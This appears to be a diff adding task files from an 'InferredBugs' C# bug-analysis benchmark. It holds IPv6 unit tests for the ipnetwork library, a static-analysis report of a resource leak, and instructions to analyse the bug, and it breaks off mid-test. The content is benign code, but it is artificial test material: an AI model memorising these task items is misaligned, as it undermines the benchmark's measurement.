+            Assert.AreEqual("2001:db8:0:0:5000::/68", subnets[5].ToString(), "subnet6");
+            Assert.AreEqual("2001:db8:0:0:6000::/68", subnets[6].ToString(), "subnet7");
+            Assert.AreEqual("2001:db8:0:0:7000::/68", subnets[7].ToString(), "subnet8");
+            Assert.AreEqual("2001:db8:0:0:8000::/68", subnets[8].ToString(), "subnet9");
+            Assert.AreEqual("2001:db8:0:0:9000::/68", subnets[9].ToString(), "subnet10");
+            Assert.AreEqual("2001:db8:0:0:a000::/68", subnets[10].ToString(), "subnet11");
+            Assert.AreEqual("2001:db8:0:0:b000::/68", subnets[11].ToString(), "subnet12");
+            Assert.AreEqual("2001:db8:0:0:c000::/68", subnets[12].ToString(), "subnet13");
+            Assert.AreEqual("2001:db8:0:0:d000::/68", subnets[13].ToString(), "subnet14");
+            Assert.AreEqual("2001:db8:0:0:e000::/68", subnets[14].ToString(), "subnet15");
+            Assert.AreEqual("2001:db8:0:0:f000::/68", subnets[15].ToString(), "subnet16");
+
+        }
+
+
+
+        #endregion
+
+
+
+
+
+
+        #region TrySupernet
+
+
+        [TestMethod]
+        public void TestTrySupernet1() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/65");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8:0:0:8000::/65");
+            IPNetwork supernetExpected = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernet;
+            bool supernetted = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetted, result, "supernetted");
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet2() {
+
+            IPNetwork network1 = null;
+            IPNetwork network2 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet3() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = null;
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet4() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:db9::/65");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet5() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:dba::/64");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet6() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8::1/65");
+            IPNetwork supernetExpected = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet7() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8::1/65");
+            IPNetwork supernetExpected = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet8() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db0::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:dbf::/64");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet9() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.2.1/24");
+            IPNetwork[] network3 = new[] { network1, network2 };
+            IPNetwork[] supernetExpected = new[] { network1, network2 };
+            IPNetwork[] supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(supernetExpected[0], supernet[0], "supernet");
+            Assert.AreEqual(supernetExpected[1], supernet[1], "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernet10() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8:0000::/65");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8:0:0:8000::/65");
+            IPNetwork[] network3 = new[] { network1, network2 };
+            IPNetwork[] supernetExpected = new[] { IPNetwork.Parse("2001:db8::/64") };
+            IPNetwork[] supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(supernetExpected[0], supernet[0], "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernet11() {
+
+            IPNetwork[] network3 = null;
+            IPNetwork[] supernetExpected = new[] { IPNetwork.Parse("2001:db8::/64") };
+            IPNetwork[] supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(null, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        #endregion
+
+
+
+
+
+
+
+        #region TryGuessCidr
+
+        [TestMethod]
+        public void TestTryGuessCidrNull() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr(null, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(0, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidr1() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("::", out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(64, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidr2() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("2001:0db8::", out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(64, cidr, "cidr");
+        }
+
+
+        #endregion
+
+
+
+
+        #region Count
+
+        [TestMethod]
+        public void Total32() {
+            var network = IPNetwork.Parse("::/128");
+            var total = 1;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total31() {
+            var network = IPNetwork.Parse("::/127");
+            var total = 2;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total30() {
+            var network = IPNetwork.Parse("::/126");
+            var total = 4;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total24() {
+            var network = IPNetwork.Parse("::/120");
+            var total = 256;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total16() {
+            var network = IPNetwork.Parse("::/112");
+            var total = 65536;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total8() {
+            var network = IPNetwork.Parse("::/104");
+            var total = 16777216;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total0() {
+            var network = IPNetwork.Parse("::/0");
+            var total = BigInteger.Pow(2, 128);
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        #endregion
+
+        #region Usable
+
+        [TestMethod]
+        public void Usable32() {
+            var network = IPNetwork.Parse("::/128");
+            uint usable = 1;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable31() {
+            var network = IPNetwork.Parse("::/127");
+            uint usable = 2;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable30() {
+            var network = IPNetwork.Parse("::/126");
+            uint usable = 4;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable24() {
+            var network = IPNetwork.Parse("::/120");
+            uint usable = 256;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable16() {
+            var network = IPNetwork.Parse("::/112");
+            uint usable = 65536;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable8() {
+            var network = IPNetwork.Parse("::/104");
+            uint usable = 16777216;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable0() {
+            var network = IPNetwork.Parse("::/0");
+            var usable = BigInteger.Pow(2, 128);
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        #endregion
+
+        #region TryParseCidr
+
+        [TestMethod]
+        public void TryParseCidr1() {
+
+            string sidr = "0";
+            byte? cidr;
+            byte? result = 0;
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr2() {
+
+            string sidr = "sadsd";
+            byte? cidr;
+            byte? result = null;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr33() {
+
+            string sidr = "33";
+            byte? cidr;
+            byte result = 33;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr128() {
+
+            string sidr = "128";
+            byte? cidr;
+            byte result = 128;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+        [TestMethod]
+        public void TryParseCidr129() {
+
+            string sidr = "129";
+            byte? cidr;
+            byte? result = null;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        #endregion
+
+
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource subnets of type System.Net.IPNetworkCollection in method "Void IPNetworkV6UnitTest.TestSubnet6()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void IPNetworkV6UnitTest.TestSubnet6()
+
+### File:
+src/System.Net.IPNetwork.TestProject.Source/IPNetworkV6UnitTest.cs
+
+### Key:
+IPNetworkV6UnitTest.cs|TestSubnet6|DOTNET_RESOURCE_LEAK
+
+### Hash:
+747e39beb908f92fb1f75f1af810f1cd
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1641/instruction.md b/inferredbugs-1641/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a81d879e1b14cadb97cee38081a0724247962cd7
--- /dev/null
+++ b/inferredbugs-1641/instruction.md
@@ -0,0 +1,2546 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ipnetwork
+**Bug ID:** 22
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using System.Numerics;
+
+namespace System.Net.TestProject
+{
+    [TestClass]
+    public class IPNetworkV6UnitTest {
+
+        #region ParseIP
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE8() {
+            IPNetwork ipnet = IPNetwork.Parse("xxxx::", "xxxx::");
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE9() {
+            IPNetwork ipnet = IPNetwork.Parse("::", "xxxx::");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE10() {
+            IPNetwork ipnet = IPNetwork.Parse("xxxx::", 0);
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE11() {
+            IPNetwork ipnet = IPNetwork.Parse("::", 129);
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_128() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            //string broadcast = "2001:db8::";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::";
+            byte cidr = 128;
+            BigInteger usable = 1;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+        
+        [TestMethod]
+        public void TestParsev6_127() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe";
+            //string broadcast = "2001:db8::1";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::1";
+            byte cidr = 127;
+            BigInteger usable = 2;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_126() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc";
+            //string broadcast = "2001:db8::3";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::3";
+            byte cidr = 126;
+            BigInteger usable = 4;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_125() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8";
+            //string broadcast = "2001:db8::7";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::7";
+            byte cidr = 125;
+            BigInteger usable = 8;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_124() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+            //string broadcast = "2001:db8::f";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::f";
+            byte cidr = 124;
+            BigInteger usable = 16;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParsev6_123() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:0db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0";
+            //string broadcast = "2001:db8::1f";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::1f";
+            byte cidr = 123;
+            BigInteger usable = 32;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+
+        [TestMethod]
+        public void TestParsev6_112() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000";
+
+            string network = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0";
+            //string broadcast = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 112;
+            uint usable = 65536;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_64() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:1234:1234:1234:1234";
+            string netmask = "ffff:ffff:ffff:ffff:0000:0000:0000:0000";
+
+            string network = "ffff:ffff:ffff:ffff::";
+            string netmask2 = "ffff:ffff:ffff:ffff::";
+            //string broadcast = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr)) ;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_16() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:0000:0000:0000:0000:0000:0000:0000";
+
+            string network = "ffff::";
+            string netmask2 = "ffff::";
+            //string broadcast = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 16;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr)) ;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+
+        [TestMethod]
+        public void TestParsev6_EDGE() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+
+            string network = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 128;
+            uint usable = 1;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        #endregion 
+
+        #region ParseString
+
+        [TestMethod]
+        public void TestParseString1() {
+
+            string ipaddress = "2001:0db8:: ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+
+            string network = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::f";
+            byte cidr = 124;
+            uint usable = 16;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParseString3() {
+
+            string ipaddress = ":: ::";
+
+            string network = "::";
+            string netmask = "::";
+            string firstUsable = "::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 0;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr));
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParseString4() {
+
+            string ipaddress = "::/0";
+
+            string network = "::";
+            string netmask = "::";
+            string firstUsable = "::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 0;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr));
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString5() {
+
+            string ipaddress = "::/32";
+
+            string network = "::";
+            string netmask = "ffff:ffff::";
+            string firstUsable = "::";
+            string lastUsable = "::ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 32;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr)) ;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
